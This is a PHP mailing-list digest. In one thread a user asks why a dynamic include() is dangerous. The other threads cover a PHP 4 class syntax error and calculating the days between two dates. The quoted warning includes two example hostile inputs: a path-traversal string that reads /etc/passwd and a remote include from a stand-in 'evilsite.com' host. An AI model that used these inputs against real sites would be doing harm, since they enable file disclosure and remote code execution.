>
> $untrusted_var = '../../../../../../../etc/passwd';
> include($untrusted_var);
>
> Or in later versions of PHP, I *think* the following may even work:
>
> $untrusted_var = 'http://evilsite.com/pub/evil.php';
> include($untrusted_var);

I'm still not sure I see the danger. By which I'm not saying that I deny
there is danger, just that I don't see this.

In both cases cited above, the malicious user has to write the code into
my script that says to include($untrusted_var). And, again, it seems to
me that if the malicious user has made it far enough to gain enough
access to be able to do that, the damage is already done. They already
have full access and full write capability, and could do any number of
crazy things.

I understand that I am being warned of a potential security risk, and I
hope to come to understand it. But can someone show me more explicitly
how someone could exploit a dynamic include() function with simple
access through forms? And, can that access be exploited even when fairly
common restrictions on form data is implemented (such as no tags and such)?

--
Dave M G

attached mail follows:


PHP List,

I am in the preliminary stages of designing my first object oriented PHP
based web site.

I've created file called "article.class" and included it in my index.php
file. I put in a very simple echo statement, just as a place marker
before I put in the real code, and just to make sure that the index.php
file is successfully including the class.

So far, it just looks like this (including line numbers):

4. class article{
5. public function edit(){
6. echo "test";
7. }
8. }

However, when I view my index.php, it says:

Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION
or T_FUNCTION or T_VAR or '}' in /web/article.class on line 5

Of course I consulted the PHP manual to make sure that I had the class
syntax correct, and it seems that I've followed the basic structure as
described there.

Where have I gone wrong?

Thank you for any advice.

--
Dave M G

attached mail follows:


What version of PHP are you using?
I suspect something less then 5.0 which means the public/private
declarations are not supported...
(So remove 'public' and see if it works)
-Brad

Dave M G wrote:

> PHP List,
>
> I am in the preliminary stages of designing my first object oriented
> PHP based web site.
>
> I've created file called "article.class" and included it in my
> index.php file. I put in a very simple echo statement, just as a place
> marker before I put in the real code, and just to make sure that the
> index.php file is successfully including the class.
>
> So far, it just looks like this (including line numbers):
>
> 4. class article{
> 5. public function edit(){
> 6. echo "test";
> 7. }
> 8. }
>
> However, when I view my index.php, it says:
>
> Parse error: syntax error, unexpected T_STRING, expecting
> T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /web/article.class on
> line 5
>
> Of course I consulted the PHP manual to make sure that I had the class
> syntax correct, and it seems that I've followed the basic structure as
> described there.
>
> Where have I gone wrong?
>
> Thank you for any advice.
>
> --
>
> Dave M G
>

attached mail follows:


Brad,
> What version of PHP are you using?
> I suspect something less then 5.0 which means the public/private
> declarations are not supported...
> (So remove 'public' and see if it works)

Yes, it turns out that I am using PHP 4, and I thought I was using 5.
Thank you for pointing it out.

Now I have to consider whether or not to make my code PHP 4 compatible,
or upgrade to version 5.

--
Dave M G

attached mail follows:


Hi,
I need to calculate no. of days between two dates, actually between date
stored in DB and today's date.

Does anybody has an example I can use?

I found an example on
http://www.developertutorials.com/tutorials/php/calculating-difference-between-dates-php-051018/page1.html

but function gregoriantojd() doesn't work for me
Fatal error: Call to undefined function: gregoriantojd()

Found this:
Please read the manual:
  http://www.php.net/manual/en/ref.calendar.php
You need to either compile the extension in or load it.
Since you provided no details about your situation at all,
I cannot help you further.
on
http://bugs.php.net/bug.php?id=10151&edit=1

Thanks on any help.

-afan

attached mail follows:


You could just parse the dates out and feed them to mktime(), subtract
the difference between the two (in seconds) and use that to determin the
number of days...

Something like:
<?php

$date1="06/01/2006";
$date2 = date('m/d/Y');

echo " $date1 -- $date2\n";
list($m,$d,$y) = explode("/",$date1);
$one = mktime(0,0,0,$m,$d,$y);
list($m,$d,$y)=explode("/",$date2);
$two = mktime(0,0,0,$m,$d,$y);
$diff = $two - $one;
$days = $diff / (60*60*24);
echo "$days\n";
?>

afanafan.net wrote:

>Hi,
>I need to calculate no. of days between two dates, actually between date
>stored in DB and today's date.
>
>Does anybody has an example I can use?
>
>I found an example on
>http://www.developertutorials.com/tutorials/php/calculating-difference-between-dates-php-051018/page1.html
>
>but function gregoriantojd() doesn't work for me
>Fatal error: Call to undefined function: gregoriantojd()
>
>Found this:
>Please read the manual:
> http://www.php.net/manual/en/ref.calendar.php
>You need to either compile the extension in or load it.
>Since you provided no details about your situation at all,
>I cannot help you further.
>on
>http://bugs.php.net/bug.php?id=10151&edit=1
>
>
>Thanks on any help.
>
>-afan
>
>
>

attached mail follows:


afanafan.net wrote:
> I need to calculate no. of days between two dates, actually between date
> stored in DB and today's date.
> Does anybody has an example I can use?
>

Your database will have this function. In PostgreSQL:

    SELECT data_column - NOW() AS date_diff;

There are similar functions for MySQL. Otherwise, consider
converting your dates to unix time and subtracting the two
numbers to find the date difference in seconds. These maay also be
your friends:

    http://us3.php.net/manual/en/ref.datetime.php
    http://us3.php.net/manual/en/function.mktime.php
    http://us3.php.net/manual/en/function.date.php

Dante